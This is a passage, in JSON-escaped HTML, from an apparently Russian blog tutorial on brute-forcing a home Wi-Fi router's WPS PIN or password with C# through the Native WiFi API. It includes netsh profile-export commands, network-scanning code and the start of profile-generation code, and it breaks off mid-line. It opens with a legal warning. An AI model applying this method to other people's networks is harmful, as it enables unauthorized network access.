\u0423\u041a \u0420\u0424. \u041d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0435 \u0442\u0430\u0439\u043d\u044b \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0438, \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u043d\u044b\u0445 \u043f\u0435\u0440\u0435\u0433\u043e\u0432\u043e\u0440\u043e\u0432, \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0445, \u0442\u0435\u043b\u0435\u0433\u0440\u0430\u0444\u043d\u044b\u0445 \u0438\u043b\u0438 \u0438\u043d\u044b\u0445 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439<\/p>\n<\/li>\n<li>\n<p>\u0441\u0442. 159.6 \u0423\u041a \u0420\u0424. \u041c\u043e\u0448\u0435\u043d\u043d\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0432 \u0441\u0444\u0435\u0440\u0435 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438<\/p>\n<\/li>\n<\/ol>\n<p><strong>\u0412\u0437\u043b\u0430\u043c\u044b\u0432\u0430\u0442\u044c \u0447\u0443\u0436\u0438\u0435 Wi-Fi \u0440\u043e\u0443\u0442\u0435\u0440\u044b &#8212; \u044d\u0442\u043e \u043e\u0447\u0435\u043d\u044c \u043f\u043b\u043e\u0445\u0430\u044f \u0438\u0434\u0435\u044f.<\/strong><\/p>\n<p>\u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 &#171;proof of concept&#187; \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u0431\u0440\u0443\u0442\u0444\u043e\u0440\u0441 \u0430\u0442\u0430\u043a\u0443 \u043d\u0430 \u0434\u043e\u043c\u0430\u0448\u043d\u0438\u0439 \u0440\u043e\u0443\u0442\u0435\u0440 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c C#. \u0410\u0442\u0430\u043a\u0430 \u0431\u0443\u0434\u0435\u0442 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0430 \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/nativewifi\/about-the-native-wifi-api\" rel=\"noopener noreferrer nofollow\">Native WiFi API<\/a> \u0438 xml \u043f\u0440\u043e\u0444\u0438\u043b\u044f\u0445.<\/p>\n<p>\u041f\u0440\u043e\u0444\u0438\u043b\u0438 \u0434\u043b\u044f Wi-Fi, \u043d\u0430 \u043c\u043e\u0439 \u0432\u0437\u0433\u043b\u044f\u0434, \u0437\u0430\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438 \u0438 \u0434\u043b\u044f \u043c\u0435\u043d\u044f \u0441\u0442\u0430\u043b\u043e \u0431\u043e\u043b\u044c\u0448\u0438\u043c \u0443\u0434\u0438\u0432\u043b\u0435\u043d\u0438\u0435\u043c, \u0447\u0442\u043e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0444\u0438\u043b\u044f, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0440\u044f\u043c\u043e \u0441 \u0441\u0430\u0439\u0442\u0430 &#8212; \u043e\u0431 \u044d\u0442\u043e\u043c \u0435\u0441\u0442\u044c \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0430\u044f <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/nativewifi\/prov-wifi-profile-via-website\" rel=\"noopener noreferrer nofollow\">\u0441\u0442\u0430\u0442\u044c\u044f \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438<\/a> \u041c\u0430\u0439\u043a\u0440\u043e\u0441\u043e\u0444\u0442. \u0412 \u043a\u0440\u0430\u0442\u0446\u0435 \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u0430\u043a: xml \u0441 \u0440\u0435\u043a\u0432\u0438\u0437\u0438\u0442\u0430\u043c\u0438 \u0434\u043b\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u0434\u0442\u044f\u0433\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 (\u0430 \u0435\u0441\u043b\u0438 \u0442\u043e\u0447\u043d\u043e, \u0442\u043e \u0432 UWP \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438) \u0438 \u0432\u043e \u0432\u0441\u043f\u043b\u044b\u0432\u0430\u044e\u0449\u0435\u043c \u043e\u043a\u043d\u0435 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a\u0443\u044e \u0441\u0435\u0442\u044c \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c. \u041a\u0430\u043a \u0441\u043a\u0430\u0437\u0430\u043d\u043e \u0432 \u0441\u0430\u043c\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435, \u044d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043e \u0434\u043b\u044f \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0442\u0438 \u0437\u0430\u0440\u0430\u043d\u0435\u0435, \u0435\u0449\u0435 \u0434\u043e \u043f\u043e\u0441\u0435\u0449\u0435\u043d\u0438\u044f \u043a\u0430\u0444\u0435\/\u043b\u0430\u0443\u043d\u0434\u0436\u0430\/{you_name_it} \u0433\u0434\u0435 \u0432\u0435\u0449\u0430\u0435\u0442 \u0441\u0435\u0442\u044c. \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u044b xml \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u043e\u043f\u0438\u0441\u0430\u043d\u044b <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/nativewifi\/wlan-profileschema-elements\" rel=\"noopener noreferrer nofollow\">\u0442\u0443\u0442<\/a>.<\/p>\n<p>\u0410\u0442\u0430\u043a\u0430 \u0431\u0443\u0434\u0435\u0442 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c\u0441\u044f \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 xml \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0432 \u043a\u043e\u0434\u0435 \u0438 \u0435\u0433\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0432 <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/nativewifi\/about-the-native-wifi-api\" rel=\"noopener noreferrer nofollow\">Native WiFi API<\/a> &#8212; \u0434\u0430\u043b\u0435\u0435 Windows \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442 \u043f\u043e\u043f\u044b\u0442\u043a\u0443 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u0438, \u0435\u0441\u043b\u0438 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043f\u043e\u0434\u043e\u0431\u0440\u0430\u0442\u044c WPS pin, \u0443\u0434\u0430\u0447\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0444\u0438\u043b\u044c \u043e\u0441\u0442\u0430\u043d\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0435, \u0430 pin \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0432\u0435\u0434\u0435\u043d \u043d\u0430 \u043a\u043e\u043d\u0441\u043e\u043b\u044c.<\/p>\n<p>\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u043f\u0440\u043e\u0444\u0438\u043b\u0438 \u043c\u043e\u0436\u043d\u043e \u0434\u0432\u0443\u043c\u044f \u0441\u043f\u043e\u0441\u043e\u0431\u0430\u043c\u0438: \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u0438 \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043d\u0441\u043e\u043b\u044c. \u0414\u043b\u044f \u0440\u0443\u0447\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430 \u043d\u0443\u0436\u043d\u043e \u0437\u0430\u0439\u0442\u0438 \u0432 <a href=\"https:\/\/C:%5CProgramData%5CMicrosoft%5CWlansvc%5CProfiles%5CInterfaces\" rel=\"noopener noreferrer nofollow\">C:\\ProgramData\\Microsoft\\Wlansvc\\Profiles\\Interfaces<\/a> \u0438 \u0432\u044b\u0431\u0440\u0430\u0442\u044c \u0430\u0434\u0430\u043f\u0442\u0435\u0440 \u043f\u043e \u0435\u0433\u043e Id &#8212; \u0443\u0437\u043d\u0430\u0442\u044c \u044d\u0442\u043e\u0442 Id \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u0438 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u043c \u0434\u0435\u0431\u0430\u0433\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0438\u043b\u0438 \u043f\u0435\u0440\u0435\u0431\u0440\u0430\u0432 \u0432\u0440\u0443\u0447\u043d\u0443\u044e. \u0414\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430 \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043d\u0441\u043e\u043b\u044c \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u043f\u0440\u0430\u0432\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 \u043f\u0430\u0440\u0430 \u043a\u043e\u043c\u0430\u043d\u0434 &#8212; \u044d\u0442\u043e\u0442 \u0441\u043f\u043e\u0441\u043e\u0431 \u0431\u043e\u043b\u0435\u0435 \u0443\u0434\u043e\u0431\u0435\u043d \u0434\u043b\u044f \u0442\u043e\u0447\u0435\u0447\u043d\u043e\u0433\u043e \u0432\u044b\u0442\u0430\u0441\u043a\u0438\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u043a \u043d\u0443\u0436\u043d\u043e\u0439 \u0441\u0435\u0442\u0438:<\/p>\n<pre><code class=\"powershell\">netsh wlan show profile netsh wlan export profile name=\"{Insert profile name}\" folder=C:\\WlanProfiles<\/code><\/pre>\n<p>\u0427\u0442\u043e\u0431\u044b \u043d\u0435 \u043e\u0448\u0438\u0431\u0438\u0442\u044c\u0441\u044f \u0441\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f\u043c\u0438 \u0438 \u043f\u043e\u043b\u044f\u043c\u0438 \u0432 xml \u043f\u0440\u043e\u0444\u0438\u043b\u0435, \u043c\u043e\u0436\u043d\u043e \u0441\u043f\u0435\u0440\u0432\u0430 \u043f\u043e\u043f\u044b\u0442\u0430\u0442\u044c\u0441\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a \u0430\u0442\u0430\u043a\u0443\u0435\u043c\u043e\u0439 Wi-Fi \u0441\u0435\u0442\u0438 \u0441 \u0437\u0430\u0432\u0435\u0434\u043e\u043c\u043e \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u043c \u043f\u0430\u0440\u043e\u043b\u0435\u043c &#8212; \u0442\u0430\u043a Windows \u0441\u043e\u0437\u0434\u0430\u0441\u0442 \u0437\u0430 xml \u0444\u0430\u0439\u043b \u0437\u0430 \u0432\u0430\u0441 \u0438 \u0434\u0430\u043b\u0435\u0435 \u043e\u0441\u0442\u0430\u043d\u0435\u0442\u0441\u044f \u043b\u0438\u0448\u044c \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u0438.<\/p>\n<p>\u0412 \u043f\u0440\u0438\u043c\u0435\u0440\u0435 xml \u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0431\u0443\u0434\u0435\u0442 \u0445\u0440\u0430\u043d\u0438\u0442\u044c\u0441\u044f \u0432 \u0432\u0438\u0434\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 \u0432 \u043a\u043e\u0434\u0435 \u0438 \u044d\u0442\u043e \u043d\u0435 \u0441\u0430\u043c\u044b\u0439 \u043b\u0443\u0447\u0448\u0438\u0439 \u043f\u043e\u0434\u0445\u043e\u0434 \u043a \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e xml, \u043d\u043e \u0435\u0433\u043e \u0432\u043f\u043e\u043b\u043d\u0435 \u0445\u0432\u0430\u0442\u0438\u0442 \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u0438\u0433\u0440\u0430\u0442\u044c\u0441\u044f \u0441 \u043f\u043e\u043f\u044b\u0442\u043a\u0430\u043c\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u0441\u044f \u043a \u0441\u0435\u0442\u0438. \u041d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u043d\u0430 \u0441\u0430\u0439\u0442\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u041c\u0430\u0439\u043a\u0440\u043e\u0441\u043e\u0444\u0442 \u0435\u0441\u0442\u044c <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-gpwl\/34054c93-cfcd-44df-89d8-5f2ba7532b67\" rel=\"noopener noreferrer nofollow\">xsd \u0441\u0445\u0435\u043c\u0430<\/a> \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0441\u043e\u0437\u0434\u0430\u044e\u0442\u0441\u044f xml \u043f\u0440\u043e\u0444\u0438\u043b\u0438, \u043d\u043e \u043f\u043e\u0447\u0435\u043c\u0443-\u0442\u043e \u0432 \u043d\u0435\u0439 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0441\u0435\u043a\u0446\u0438\u044f &#171;sharedKey&#187;, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u0440\u0435\u0448\u0438\u043b \u0445\u0440\u0430\u043d\u0438\u0442\u044c xml \u043f\u0440\u043e\u0444\u0438\u043b\u044c \u043f\u0440\u043e\u0441\u0442\u043e \u0441\u0442\u0440\u043e\u043a\u043e\u0439 \u0432 \u043a\u043e\u0434\u0435 \u043a\u0430\u043a \u044d\u0442\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u043e \u043d\u0430 <a href=\"https:\/\/stackoverflow.com\/a\/25809129\/12414632\" rel=\"noopener noreferrer nofollow\">Stackoverflow<\/a>. \u0412 \u0446\u0435\u043b\u043e\u043c \u0434\u043b\u044f \u0431\u043e\u043b\u0435\u0435 &#171;\u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0433\u043e&#187; \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043c\u043e\u0436\u043d\u043e \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u043b\u0430\u0441\u0441\u044b \u0447\u0435\u0440\u0435\u0437 xsd.exe, \u043d\u043e \u0432 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e \u044d\u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u0440\u0438\u0434\u0435\u0442\u0441\u044f \u0441\u0432\u0435\u0440\u044f\u0442\u044c\u0441\u044f \u0441 xml \u043f\u0440\u043e\u0444\u0438\u043b\u0435\u043c \u0430\u0442\u0430\u043a\u0443\u0435\u043c\u043e\u0439 \u0441\u0435\u0442\u0438 \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u0432\u0441\u0435\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u044e\u0449\u0438\u0445 \u043f\u043e\u043b\u0435\u0439, \u0442\u0430\u043a \u043a\u0430\u043a \u0432\u043f\u043e\u043b\u043d\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0447\u0442\u043e \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u0430\u044f xsd \u0441\u0445\u0435\u043c\u0430 \u043f\u0440\u043e\u0441\u0442\u043e \u0443\u0441\u0442\u0430\u0440\u0435\u043b\u0430.<\/p>\n<p>\u0421 \u043f\u043e\u0434\u043e\u0431\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u043e\u0439 \u0434\u043e\u043b\u0436\u0435\u043d \u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c\u0441\u044f \u043b\u044e\u0431\u043e\u0439 Wi-Fi \u0430\u0434\u0430\u043f\u0442\u0435\u0440, \u043d\u043e \u043f\u043e\u0434\u0431\u043e\u0440 \u043f\u0430\u0440\u043e\u043b\u044f \u0431\u0435\u0437 \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0438 \u0438 \u0431\u0435\u0437 \u043f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043d\u0430 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u043e\u0432 \u0437\u0430\u0439\u043c\u0435\u0442 \u043c\u043d\u043e\u0433\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438. \u0422\u0430\u043a \u043f\u0435\u0440\u0435\u0431\u043e\u0440 WPS pin \u043e\u0434\u043d\u0438\u043c \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u043e\u043c \u0438 \u043f\u043e\u043f\u044b\u0442\u043a\u043e\u0439 \u0440\u0430\u0437 \u0432 2 \u0441\u0435\u043a\u0443\u043d\u0434\u044b \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u043d\u044f\u0442\u044c \u0434\u043e <strong>6.3 \u0433\u043e\u0434\u0430<\/strong> \u0438\u043b\u0438 \u0436\u0435 \u0434\u043e <strong>2315 \u0434\u043d\u0435\u0439<\/strong>. \u0423\u043c\u0435\u0441\u0442\u043d\u043e \u0431\u0443\u0434\u0435\u0442 \u0432\u0441\u043f\u043e\u043c\u043d\u0438\u0442\u044c \u0446\u0438\u0442\u0430\u0442\u0443, \u0447\u0442\u043e &#171;9 \u0436\u0435\u043d\u0449\u0438\u043d \u043d\u0435 \u0440\u043e\u0434\u044f\u0442 \u0440\u0435\u0431\u0435\u043d\u043a\u0430 \u0437\u0430 \u043c\u0435\u0441\u044f\u0446&#187;, \u0432\u0435\u0434\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 9 \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u043e\u0432 \u0441\u043e\u043a\u0440\u0430\u0442\u0438\u0442 \u043f\u043e\u0434\u0431\u043e\u0440 \u043f\u0430\u0440\u043e\u043b\u044f \u0434\u043e <strong>257 \u0434\u043d\u0435\u0439<\/strong> &#8212; \u043f\u043e\u0447\u0442\u0438 9 \u043c\u0435\u0441\u044f\u0446\u0435\u0432 \ud83d\ude00<\/p>\n<h2>\u0428\u0430\u0433 1 &#8212; \u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u044f<\/h2>\n<p>\u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u043a\u043b\u043e\u043d\u0438\u0443\u0439\u0442\u0435 \u043f\u0440\u043e\u0435\u043a\u0442 <a href=\"https:\/\/github.com\/cveld\/ManagedWifi\" rel=\"noopener noreferrer nofollow\">ManagedWiFi<\/a> &#8212; \u044d\u0442\u043e \u043e\u0431\u0435\u0440\u0442\u043a\u0430 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0441\u0431\u043e\u0440\u043a\u0435 wlanapi.dll, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0434\u0430\u0441\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/nativewifi\/about-the-native-wifi-api\" rel=\"noopener noreferrer nofollow\">Native WiFi API<\/a> &#8212; \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0434\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 Wi-Fi \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u043e\u0432, \u0441\u0435\u0442\u0435\u0439, \u0438 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0442\u044c \u043f\u0440\u043e\u0444\u0438\u043b\u0438 \u0434\u043b\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f, \u0447\u0442\u043e \u0438 \u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043e \u0434\u043b\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438.<\/p>\n<p>\u0417\u0434\u0435\u0441\u044c \u044f \u043e\u0442\u043c\u0435\u0447\u0443, \u0447\u0442\u043e \u0432 NuGet \u0435\u0441\u0442\u044c \u043f\u0430\u043a\u0435\u0442 <a href=\"https:\/\/www.nuget.org\/packages\/managedwifi\/\" rel=\"noopener noreferrer nofollow\">ManagedWiFi<\/a>, \u043d\u043e \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a Wi-Fi \u0432\u044b\u043f\u0430\u0434\u0430\u043b\u043e \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 &#8212; \u0443 \u043c\u0435\u043d\u044f \u044d\u0442\u043e \u0440\u0435\u0448\u0438\u043b\u043e\u0441\u044c \u0441\u0441\u044b\u043b\u043a\u043e\u0439 \u043d\u0430 \u0441\u043a\u0430\u0447\u0435\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0435\u043a\u0442, \u043d\u043e \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u0430\u043a\u0435\u0442 \u0437\u0430\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0443 \u0432\u0430\u0441 \u0441 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0440\u0430\u0437\u0430.<\/p>\n<p>\u0414\u0430\u043b\u0435\u0435 \u0441\u043e\u0437\u0434\u0430\u0439\u0442\u0435 \u043f\u0440\u043e\u0435\u043a\u0442 \u0441 \u043a\u043e\u043d\u0441\u043e\u043b\u044c\u043d\u044b\u043c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u043c \u0438 \u0441\u0434\u0435\u043b\u0430\u0439\u0442\u0435 \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 \u043f\u0440\u043e\u0435\u043a\u0442 <a href=\"https:\/\/github.com\/cveld\/ManagedWifi\/tree\/master\/ManagedWifi\" rel=\"noopener noreferrer nofollow\">ManagedWifi <\/a>\u0438\u0437 \u0441\u043a\u0430\u0447\u0430\u043d\u043d\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043b\u0438\u0431\u043e \u0434\u043e\u0431\u0430\u0432\u044c\u0442\u0435 \u043e\u0434\u043d\u043e\u0438\u043c\u0435\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442 NuGet. \u042d\u0442\u043e\u0442 \u044d\u0442\u0430\u043f \u043c\u043e\u0436\u043d\u043e \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u043c, \u0435\u0441\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043e\u0431\u044a\u0435\u043a\u0442 WlanClient, \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u0441\u043f\u0438\u0441\u043e\u043a \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u043e\u0432 \u0438 \u0432\u044b\u0432\u0435\u0441\u0442\u0438 \u0441\u043f\u0438\u0441\u043e\u043a \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0439:<\/p>\n<pre><code class=\"cs\">WlanClient client = new (); foreach (WlanClient.WlanInterface wlan in client.Interfaces) {   wlan.Scan();   Wlan.WlanAvailableNetwork[] networks = wlan.GetAvailableNetworkList(0);   foreach (Wlan.WlanAvailableNetwork network in networks)     {       string ssid = Encoding.Default.GetString(network.dot11Ssid.SSID);       Console.WriteLine(ssid);     } }<\/code><\/pre>\n<h2>\u0428\u0430\u0433 2 &#8212; \u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0434\u043b\u044f Wi-Fi<\/h2>\n<p>\u041f\u0440\u043e\u0444\u0438\u043b\u044c \u0431\u0443\u0434\u0435\u0442 \u0441\u043e\u0431\u0438\u0440\u0430\u0442\u044c\u0441\u044f \u0438\u0437 \u0442\u0440\u0435\u0445 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445: \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0444\u0438\u043b\u044f, hex \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f SSID \u0438 WPS pin c \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f \u043f\u043e\u043f\u044b\u0442\u043a\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f, \u0430 \u0432\u0441\u0435 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u043e\u043b\u044f \u0432\u043e\u0437\u044c\u043c\u0435\u043c \u0438\u0437 xml \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0441 \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0440\u0430\u043d\u0435\u0435 \u043f\u044b\u0442\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u043e\u0439 \u0441\u0435\u0442\u0438. \u0414\u043b\u044f \u0442\u0435\u0441\u0442\u0430 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a \u0441\u0435\u0442\u0438 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 WPA2PSK\/AES, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043d\u0430\u0448\u043b\u0438 \u0432\u044b\u0448\u0435:<\/p>\n<pre><code class=\"cs\">string key = \"00000001\"; \/\/ \u0410 \u0435\u0449\u0435 \u0441\u044e\u0434\u0430 \u043c\u043e\u0436\u043d\u043e \u0432\u043f\u0438\u0441\u0430\u0442\u044c \u0437\u0430\u0440\u0430\u043d\u0435\u0435 (\u043d\u0435)\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u043f\u0430\u0440\u043e\u043b\u044c string profileName = Encoding.Default.GetString(network.dot11Ssid.SSID); byte[] hexBytes = Encoding.Default.GetBytes(profileName); string hex = 